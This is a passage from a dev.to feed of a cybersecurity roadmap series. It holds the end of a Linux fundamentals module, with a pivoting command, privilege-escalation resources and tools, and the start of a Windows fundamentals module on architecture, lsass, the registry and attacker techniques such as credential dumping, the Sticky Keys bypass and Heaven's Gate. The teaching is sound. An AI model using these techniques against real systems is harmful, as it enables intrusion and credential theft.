&lt;span class="c"&gt;# Route traffic through the tunnel&lt;/span&gt;
proxychains curl http://10.10.10.1  &lt;span class="c"&gt;# Access internal network through target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Write a Bash Security Audit Script (1 hour)
&lt;/h3&gt;

&lt;p&gt;Write a script that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Identifies all users with UID 0&lt;/li&gt;
&lt;li&gt;Finds all SUID binaries&lt;/li&gt;
&lt;li&gt;Checks if &lt;code&gt;/etc/passwd&lt;/code&gt; is world-writable&lt;/li&gt;
&lt;li&gt;Lists all cron jobs for all users&lt;/li&gt;
&lt;li&gt;Checks for writable files in service directories&lt;/li&gt;
&lt;li&gt;Outputs results in a structured format with severity labels&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Start from scratch, refer to this module for the commands, and make it produce clean output. The process of building it teaches you more than reading commands ever will.&lt;/p&gt;




&lt;h2&gt;
  
  
  16. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Essential Reading
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"The Linux Command Line"&lt;/strong&gt; — William Shotts (available free at linuxcommand.org). The definitive beginner reference.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Linux Basics for Hackers"&lt;/strong&gt; — OccupyTheWeb. Security-oriented Linux introduction, practical and direct.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The Art of Unix Programming"&lt;/strong&gt; — Eric Raymond (available free online). Understand the philosophy that makes Linux work the way it does.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Reference Sites
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GTFOBins&lt;/strong&gt; (gtfobins.github.io) — SUID, sudo, and capability exploitation. Bookmark it permanently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ExplainShell&lt;/strong&gt; (explainshell.com) — Paste any command, get visual explanation of every component&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux man pages online&lt;/strong&gt; (man7.org/linux/man-pages) — Official documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Privilege Escalation References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Linux Privilege Escalation Guide&lt;/strong&gt; — github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;linpeas.sh&lt;/strong&gt; — github.com/carlospolop/PEASS-ng — automated Linux privesc checker&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;linux-exploit-suggester&lt;/strong&gt; — github.com/mzet-/linux-exploit-suggester&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OverTheWire: Bandit&lt;/strong&gt; (overthewire.org/wargames/bandit) — Start here. 34 levels of Linux fundamentals through progressive challenges. Free.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OverTheWire: Narnia&lt;/strong&gt; — Move here after Bandit. Basic binary exploitation on Linux.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe&lt;/strong&gt; — "Linux Fundamentals" series (3 rooms, free), "Linux PrivEsc" room&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HackTheBox&lt;/strong&gt; — Linux-based machines at every difficulty level&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VulnHub&lt;/strong&gt; — Download vulnerable Linux VMs for offline practice&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools to Install
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Essential additions to your Kali/Ubuntu toolkit&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    htop &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# Better process monitor&lt;/span&gt;
    tree &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# Visual directory tree&lt;/span&gt;
    net-tools &lt;span class="se"&gt;\ &lt;/span&gt;     &lt;span class="c"&gt;# Legacy network tools (netstat, ifconfig)&lt;/span&gt;
    dnsutils &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# dig, nslookup&lt;/span&gt;
    curl wget &lt;span class="se"&gt;\ &lt;/span&gt;     &lt;span class="c"&gt;# HTTP tools&lt;/span&gt;
    tmux &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# Terminal multiplexer — split screens, sessions&lt;/span&gt;
    vim nano &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Text editors&lt;/span&gt;
    git &lt;span class="se"&gt;\ &lt;/span&gt;           &lt;span class="c"&gt;# Version control&lt;/span&gt;
    python3-pip &lt;span class="se"&gt;\ &lt;/span&gt;   &lt;span class="c"&gt;# Python package manager&lt;/span&gt;
    jq               &lt;span class="c"&gt;# JSON processor&lt;/span&gt;

&lt;span class="c"&gt;# Security-specific&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    seclists &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Wordlists (hundreds of MB)&lt;/span&gt;
    pspy            &lt;span class="c"&gt;# Monitor processes without root — amazing for privilege escalation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Core Security Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Distributions&lt;/td&gt;
&lt;td&gt;Kali = attack platform, know what runs in target environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Terminal&lt;/td&gt;
&lt;td&gt;Command composition, redirection, pipes — the efficiency foundation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Core Commands&lt;/td&gt;
&lt;td&gt;grep + find = reconnaissance and evidence gathering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File Permissions&lt;/td&gt;
&lt;td&gt;SUID/SGID/world-writable = privilege escalation checklist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Management&lt;/td&gt;
&lt;td&gt;/etc/passwd, /etc/shadow, sudo -l = post-exploitation enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package Management&lt;/td&gt;
&lt;td&gt;Know your environment, install tools, understand trusted sources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service Management&lt;/td&gt;
&lt;td&gt;Service file permissions = privesc surface; service logs = evidence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cron Jobs&lt;/td&gt;
&lt;td&gt;Most common Linux persistence and privilege escalation vector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bash Scripting&lt;/td&gt;
&lt;td&gt;Automation, custom tools, post-exploitation scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Log System&lt;/td&gt;
&lt;td&gt;auth.log = authentication forensics; log manipulation = attacker tradecraft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;Tunnelling = pivoting foundation; hardening = server defence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FHS&lt;/td&gt;
&lt;td&gt;Know where everything lives — /tmp for staging, /etc for config, /proc for intelligence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-0.5-programming-fundamentals.md"&gt;Stage 0.5 — Programming Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-0.3-windows-fundamentals.md"&gt;Stage 0.3 — Windows Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Full Roadmap Index&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 0.3 — Windows Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Thu, 28 May 2026 10:33:13 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-03-windows-fundamentals-3k72</link>
      <guid>https://dev.to/rencberakman/stage-03-windows-fundamentals-3k72</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 0 — Computer Science Foundations&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 0.3 — Windows Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0.2 — Operating System Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 0.4 — Linux Fundamentals&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Windows Mastery Is Non-Negotiable&lt;/li&gt;
&lt;li&gt;Windows Architecture&lt;/li&gt;
&lt;li&gt;Registry Structure&lt;/li&gt;
&lt;li&gt;User and Group Management&lt;/li&gt;
&lt;li&gt;Windows Service Architecture&lt;/li&gt;
&lt;li&gt;Task Manager, Event Viewer, msconfig&lt;/li&gt;
&lt;li&gt;Windows Defender&lt;/li&gt;
&lt;li&gt;UAC — User Account Control&lt;/li&gt;
&lt;li&gt;Windows Firewall&lt;/li&gt;
&lt;li&gt;PowerShell Fundamentals&lt;/li&gt;
&lt;li&gt;CMD — Core Commands&lt;/li&gt;
&lt;li&gt;Task Scheduler&lt;/li&gt;
&lt;li&gt;Windows Update Mechanism&lt;/li&gt;
&lt;li&gt;Key Takeaways and Security Mindset&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Windows Mastery Is Non-Negotiable
&lt;/h2&gt;

&lt;p&gt;Windows runs on approximately &lt;strong&gt;72% of all desktop computers worldwide&lt;/strong&gt;. More critically for your career, the overwhelming majority of enterprise environments — corporations, hospitals, government agencies, banks, industrial facilities — run Windows-based infrastructure. Active Directory, which dominates enterprise identity management globally, is a Windows technology. Most SCADA HMI software (Wonderware, FactoryTalk, WinCC) runs on Windows. Most endpoint detection products are built primarily around Windows behaviour.&lt;/p&gt;

&lt;p&gt;This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;As a penetration tester&lt;/strong&gt;, most of your targets will be Windows systems. Post-exploitation on Windows — lateral movement, credential harvesting, persistence — is a distinct skillset that requires deep OS knowledge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;As a SOC analyst&lt;/strong&gt;, most of your alerts will be about Windows events. Understanding what normal Windows behaviour looks like is the only way to recognise abnormal behaviour.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;As a blue teamer&lt;/strong&gt;, hardening Windows, configuring Defender, writing detection rules for Event Log events — these are daily tasks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For OT/ICS work&lt;/strong&gt;, most HMI workstations and SCADA servers run Windows. Legacy versions (Windows XP, Windows 7) are still extremely common in industrial environments and have vastly different security profiles than modern Windows.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;Windows is not just a target — it is an ecosystem. Attackers live inside its own mechanisms. They use legitimate Windows tools to attack Windows systems. Your job is to know those mechanisms better than the attacker does.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Windows Architecture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Big Picture
&lt;/h3&gt;

&lt;p&gt;Windows NT (the architecture underlying all modern Windows versions from NT 3.1 through Windows 11 and Windows Server 2022) is a hybrid kernel architecture. We covered the theory in Stage 0.2 — here we map it to concrete Windows components.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│                     USER MODE                                │
│                                                              │
│  ┌────────────────┐  ┌──────────────┐  ┌─────────────────┐  │
│  │  Win32 Apps    │  │ .NET Apps    │  │  UWP / Store    │  │
│  │  (notepad.exe) │  │  (C# code)   │  │  Apps           │  │
│  └───────┬────────┘  └──────┬───────┘  └────────┬────────┘  │
│          │                  │                   │            │
│  ┌───────▼──────────────────▼───────────────────▼────────┐  │
│  │              Subsystem DLLs                            │  │
│  │   kernel32.dll  advapi32.dll  user32.dll  ntdll.dll    │  │
│  └───────────────────────────┬────────────────────────────┘  │
│                              │  System Call Interface         │
├──────────────────────────────┼──────────────────────────────-┤
│                     KERNEL MODE                              │
│                              │                               │
│  ┌───────────────────────────▼────────────────────────────┐  │
│  │              Executive (ntoskrnl.exe)                  │  │
│  │  ┌───────────┐ ┌──────────┐ ┌──────────┐ ┌─────────┐  │  │
│  │  │ Process &amp;amp; │ │ Memory   │ │ I/O      │ │Security │  │  │
│  │  │ Thread Mgr│ │ Manager  │ │ Manager  │ │Reference│  │  │
│  │  ├───────────┤ ├──────────┤ ├──────────┤ │Monitor  │  │  │
│  │  │ Object    │ │ Cache    │ │ Plug&amp;amp;Play│ └─────────┘  │  │
│  │  │ Manager   │ │ Manager  │ │ Manager  │              │  │
│  │  └───────────┘ └──────────┘ └──────────┘              │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              Kernel (Dispatcher, Interrupts)            │  │
│  ├────────────────────────────────────────────────────────┤  │
│  │              HAL — Hardware Abstraction Layer           │  │
│  └────────────────────────────────────────────────────────┘  │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐    │
│  │         Kernel-Mode Drivers (win32k.sys, etc.)        │    │
│  └──────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────┘
│                     HARDWARE                                 │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Key Architectural Components
&lt;/h3&gt;

&lt;h4&gt;
  
  
  ntoskrnl.exe — The Windows Kernel
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;ntoskrnl.exe&lt;/code&gt; (NT OS Kernel) is the core kernel binary. It is always loaded into kernel space and never unloaded while the system is running. It implements:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Executive&lt;/strong&gt; — high-level OS services (process management, memory management, I/O)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kernel&lt;/strong&gt; — low-level primitives (thread scheduling, interrupt handling, synchronisation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HAL interface&lt;/strong&gt; — communicates with the Hardware Abstraction Layer
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify ntoskrnl.exe is running&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"System"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# The "System" process (PID 4) is the kernel process&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  ntdll.dll — The Bridge Between Worlds
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;ntdll.dll&lt;/code&gt; is the lowest-level user-mode DLL. Every process loads it. It contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The stubs for all Windows system calls (the actual &lt;code&gt;syscall&lt;/code&gt; instructions)&lt;/li&gt;
&lt;li&gt;The Windows loader&lt;/li&gt;
&lt;li&gt;Core runtime functions used by all other DLLs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security Significance:&lt;/strong&gt; Every modern EDR product hooks functions inside &lt;code&gt;ntdll.dll&lt;/code&gt; to monitor behaviour. When your code calls &lt;code&gt;CreateFile()&lt;/code&gt;, it goes through &lt;code&gt;kernel32.dll&lt;/code&gt; → &lt;code&gt;ntdll.dll&lt;/code&gt; → kernel. The EDR's hook in &lt;code&gt;ntdll.dll&lt;/code&gt; intercepts this call before it reaches the kernel. This is precisely why &lt;strong&gt;direct syscall&lt;/strong&gt; techniques (covered in Stage 0.2) that bypass &lt;code&gt;ntdll.dll&lt;/code&gt; entirely are so popular in offensive tooling.&lt;/p&gt;

&lt;h4&gt;
  
  
  csrss.exe — Client-Server Runtime Process
&lt;/h4&gt;

&lt;p&gt;The Client/Server Runtime Subsystem. Handles Win32 console windows and process/thread creation notifications. &lt;strong&gt;Critical system process&lt;/strong&gt; — terminating it causes a Blue Screen of Death. Malware that names itself &lt;code&gt;csrss.exe&lt;/code&gt; or &lt;code&gt;cssrs.exe&lt;/code&gt; is attempting to blend in with this legitimate process name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# There should be exactly one or two csrss.exe instances&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# (one per active session — Session 0 for services, Session 1+ for users)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;csrss&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SessionId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# CRITICAL: csrss.exe must always run from C:\Windows\System32\&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Any csrss.exe running from another path is malware&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  lsass.exe — The Credential Store
&lt;/h4&gt;

&lt;p&gt;LSASS (Local Security Authority Subsystem Service) is one of the most targeted processes on any Windows system. It:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Handles all authentication (local, domain, network)&lt;/li&gt;
&lt;li&gt;Stores credentials in memory (NTLM hashes, Kerberos tickets, plaintext in older configs)&lt;/li&gt;
&lt;li&gt;Enforces security policy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why attackers love lsass.exe:&lt;/strong&gt;&lt;br&gt;
Tools like &lt;strong&gt;Mimikatz&lt;/strong&gt; dump credential material directly from lsass.exe's memory. Credential access is Step 5 in almost every real-world Windows intrusion. Microsoft has progressively hardened lsass — Protected Process Light (PPL), Credential Guard, LSASS memory protection — but the target remains the same.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# lsass.exe must always run from System32, owned by SYSTEM, one instance&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lsass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Any lsass.exe not in System32 is an immediate incident&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  winlogon.exe — Session Management
&lt;/h4&gt;

&lt;p&gt;Handles the secure desktop (Ctrl+Alt+Delete), user logon/logoff, and loads the user profile. It loads the Logon UI and calls LSASS to authenticate credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security note:&lt;/strong&gt; The &lt;strong&gt;Sticky Keys bypass&lt;/strong&gt; is a classic persistence technique that replaces &lt;code&gt;sethc.exe&lt;/code&gt; (Sticky Keys) or &lt;code&gt;utilman.exe&lt;/code&gt; (Ease of Access) with &lt;code&gt;cmd.exe&lt;/code&gt;. Since these are launched by &lt;code&gt;winlogon.exe&lt;/code&gt; before authentication, the result is a SYSTEM command prompt on the login screen — no credentials required.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 The Windows Session Model
&lt;/h3&gt;

&lt;p&gt;Windows separates kernel activities from user sessions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Session 0 — Services and System Processes
    svchost.exe (services)
    lsass.exe
    csrss.exe
    wininit.exe

Session 1 — First Interactive User
    explorer.exe
    your applications
    csrss.exe (own instance)

Session 2 — Second Interactive User (RDP, etc.)
    explorer.exe
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Session 0 isolation (introduced in Windows Vista) prevents user applications from interacting with service windows. Before Vista, attackers could send window messages to SYSTEM-privilege service windows to execute arbitrary code — "shatter attacks." Session isolation eliminated this attack class.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 The WOW64 Subsystem
&lt;/h3&gt;

&lt;p&gt;On 64-bit Windows, 32-bit applications run inside the &lt;strong&gt;WOW64 (Windows-on-Windows 64-bit)&lt;/strong&gt; subsystem. This is important for security because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;32-bit processes use a different system call path than 64-bit processes.&lt;/li&gt;
&lt;li&gt;Security software that only monitors 64-bit system calls can be bypassed by malware running as a 32-bit process using &lt;code&gt;Heaven's Gate&lt;/code&gt; — a technique that switches from 32-bit to 64-bit mode to issue native 64-bit system calls directly, bypassing 32-bit hooks.&lt;/li&gt;
&lt;li&gt;Some protections (CFG, CET) behave differently for 32-bit processes.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Registry Structure
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Is the Windows Registry
&lt;/h3&gt;

&lt;p&gt;The Windows Registry is a hierarchical database that stores configuration information for the operating system, hardware, installed software, and user preferences. It is the central nervous system of Windows configuration.&lt;/p&gt;

&lt;p&gt;Everything from your desktop wallpaper to auto-start programs to USB device history to recently opened files is stored in the registry. For a security professional, the registry is both an attack surface and an evidence source of extraordinary richness.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Registry Structure
&lt;/h3&gt;

&lt;p&gt;The registry is organised into a tree of keys and values, similar to a file system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Registry Root (Hives)
├── HKEY_LOCAL_MACHINE (HKLM)      — System-wide settings
│   ├── SOFTWARE                   — Installed software config
│   ├── SYSTEM                     — Hardware and driver config
│   │   └── CurrentControlSet
│   │       ├── Services           — Service configuration
│   │       └── Control
│   ├── SECURITY                   — Security policy (restricted)
│   └── SAM                        — Local account database (restricted)
│
├── HKEY_CURRENT_USER (HKCU)       — Current user's settings
│   ├── Software                   — Per-user software settings
│   ├── Environment                — User environment variables
│   └── ...
│
├── HKEY_USERS (HKU)               — All users' profiles
│   ├── .DEFAULT                   — Default profile
│   ├── S-1-5-18                   — SYSTEM account
│   ├── S-1-5-19                   — LOCAL SERVICE
│   ├── S-1-5-20                   — NETWORK SERVICE
│   └── S-1-5-21-...-1001          — User SID → their HKCU
│
├── HKEY_CLASSES_ROOT (HKCR)       — File associations, COM objects
└── HKEY_CURRENT_CONFIG (HKCC)     — Current hardware profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Registry Value Types
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;String&lt;/td&gt;
&lt;td&gt;Plain text&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Windows\System32\cmd.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_EXPAND_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Expandable String&lt;/td&gt;
&lt;td&gt;String with env vars&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%SystemRoot%\System32\cmd.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32-bit Integer&lt;/td&gt;
&lt;td&gt;Number&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;1&lt;/code&gt; (enabled/disabled flags)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_QWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64-bit Integer&lt;/td&gt;
&lt;td&gt;Large number&lt;/td&gt;
&lt;td&gt;Timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_BINARY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;td&gt;Raw binary data&lt;/td&gt;
&lt;td&gt;Hardware settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REG_MULTI_SZ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Multi-String&lt;/td&gt;
&lt;td&gt;List of strings&lt;/td&gt;
&lt;td&gt;Service dependencies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  3.4 Critical Registry Locations for Security
